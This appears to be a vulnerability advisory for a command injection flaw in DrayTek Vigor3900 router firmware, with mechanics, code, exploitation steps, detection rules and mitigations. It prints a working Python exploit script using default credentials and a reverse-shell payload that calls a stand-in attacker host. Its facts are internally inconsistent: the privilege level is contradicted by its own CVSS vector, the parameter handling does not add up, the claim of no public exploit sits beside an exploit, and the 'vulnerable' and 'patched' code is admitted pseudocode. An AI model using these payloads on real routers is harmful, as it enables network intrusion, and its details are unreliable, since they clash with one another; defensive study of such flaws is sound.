CVE-2024-45891

Executive Summary

CVE-2024-45891 is a post-authentication command injection vulnerability discovered in the DrayTek Vigor3900 router firmware version 1.5.1.3. The flaw resides in the cgi-bin/mainfunction.cgi script, specifically when the action parameter is set to delete_wlan_profile. An authenticated attacker can inject arbitrary operating system commands via the action parameter, leading to full compromise of the device. Given the router's role as a network gateway, exploitation can result in lateral movement, data exfiltration, and persistent access to the internal network.

This vulnerability is particularly dangerous because it requires only low-privilege authentication, and the device is commonly deployed in small-to-medium business environments where patching cycles may be slow. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward to reproduce.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary embedded system. Supply chain risk is limited to the device's firmware update mechanism and the vendor's patch release process.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions required.
• Privileges Required (PR): High – Attacker must have valid credentials (post-authentication).
• User Interaction (UI): None – No user action needed beyond the attacker's own session.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to device filesystem and network traffic.
• Integrity (I): High – Full write access, ability to modify firmware or configuration.
• Availability (A): High – Ability to crash the device or disrupt network services.

Threat Level: High. The requirement for authentication reduces the attack surface, but default credentials or weak passwords are common in SMB environments. Once authenticated, the attacker gains root-level command execution.

Deep Dive & Mechanics

The vulnerability exists in the cgi-bin/mainfunction.cgi CGI script. When the action parameter is set to delete_wlan_profile, the script passes user-supplied input directly to a system shell command without proper sanitization or escaping.

Root Cause: The action parameter value is concatenated into a shell command string that is executed via popen() or system(). For example, the vulnerable code might look like:

sprintf(cmd, "iwconfig wlan0 del %s", action_value);
system(cmd);

By injecting shell metacharacters (e.g., ;, |, &&, `), an attacker can break out of the intended command and execute arbitrary OS commands.

Attack Flow:

1. Attacker authenticates to the web interface (e.g., using default admin/admin credentials).
2. Attacker sends a crafted POST request to /cgi-bin/mainfunction.cgi with action=delete_wlan_profile;id or similar.
3. The server executes the injected command, returning the output in the HTTP response.
4. Attacker can then establish a reverse shell, exfiltrate data, or pivot to internal hosts.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.5.1.3):

// cgi-bin/mainfunction.cgi (pseudocode)
char cmd[512];
snprintf(cmd, sizeof(cmd), "iwconfig wlan0 del %s", get_param("action"));
system(cmd);

Patched Code (Hypothetical):

// Patched version
char *action = get_param("action");
if (strcmp(action, "delete_wlan_profile") != 0) {
    // reject invalid action
    return;
}
// Use execve with sanitized arguments
execl("/sbin/iwconfig", "iwconfig", "wlan0", "del", NULL);

The patched version validates the action parameter against a whitelist and uses execve instead of system, preventing shell injection entirely.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a DrayTek Vigor3900 with firmware 1.5.1.3
• Valid credentials (e.g., admin:admin)

Exploit Script (Python):

import requests

target = "http://192.168.1.1"
username = "admin"
password = "admin"

session = requests.Session()
# Authenticate
login_data = {"username": username, "password": password}
session.post(f"{target}/cgi-bin/login.cgi", data=login_data)

# Command injection payload
payload = "delete_wlan_profile;id"
exploit_data = {"action": payload}
response = session.post(f"{target}/cgi-bin/mainfunction.cgi", data=exploit_data)

print(response.text)

Reverse Shell Payload:

# URL-encoded payload
action=delete_wlan_profile;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Lab Setup:

1. Deploy a DrayTek Vigor3900 in an isolated lab network.
2. Configure a web server or netcat listener on the attacker machine.
3. Run the exploit script to verify command execution.
4. Use the reverse shell payload to gain interactive access.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with action parameter containing shell metacharacters (;, |, &, `).
2. Alert on unusual process execution from the CGI process (e.g., iwconfig spawning bash or sh).
3. Check for outbound connections from the router to unknown IPs on high ports (e.g., 4444, 1337).

Honeypot Strategy:

• Deploy a fake Vigor3900 web interface that logs all action parameter values.
• Trigger alerts when delete_wlan_profile is used with suspicious characters.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/mainfunction.cgi with action containing ;, |, &&, `, or $().
• Outbound TCP connections from the router to external IPs on non-standard ports (e.g., 4444, 31337).
• DNS queries to known C2 domains or IP addresses.

Host IOCs:

• Unexpected processes running as root (e.g., /bin/bash, /bin/sh, /usr/bin/python).
• Modified or new files in /tmp/ or /var/run/ (e.g., reverse shell scripts).
• Unusual entries in /var/log/messages or system logs indicating shell execution.

File IOCs:

• Suspicious files in /cgi-bin/ directory (e.g., backdoored CGI scripts).
• Modified /etc/passwd or /etc/shadow indicating new user accounts.

Detection Engineering

YARA Rule

rule CVE_2024_45891_Command_Injection {
    meta:
        description = "Detects command injection attempts against DrayTek Vigor3900 delete_wlan_profile"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-45891"
    strings:
        $action = "action=delete_wlan_profile" nocase
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "&" ascii
        $shell_meta4 = "`" ascii
        $shell_meta5 = "$(" ascii
    condition:
        $action and any of ($shell_meta*)
}

Sigma Rule

title: DrayTek Vigor3900 Command Injection via delete_wlan_profile
id: 7a8b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to cgi-bin/mainfunction.cgi with shell metacharacters in the action parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains: 'action=delete_wlan_profile'
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in SSID names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45891 DrayTek Vigor3900 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/mainfunction.cgi"; http_uri;
    content:"action=delete_wlan_profile"; http_client_body;
    pcre:"/(;|\||\&\&|`|\$\().*$/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Change default credentials immediately.
2. Restrict management interface access to trusted IPs only (firewall rule).
3. Disable remote management (WAN-side access) if not required.
4. Monitor logs for suspicious POST requests to mainfunction.cgi.

Long-Term Fix:

• Apply vendor patch when released (currently UNKNOWN).
• If no patch is available, consider replacing the device with a supported alternative.
• Implement network segmentation to isolate the router from critical assets.

Workaround:

• Modify the CGI script manually (if firmware allows) to whitelist the action parameter.
• Use a WAF (Web Application Firewall) to block requests containing shell metacharacters in the action parameter.

Valters IT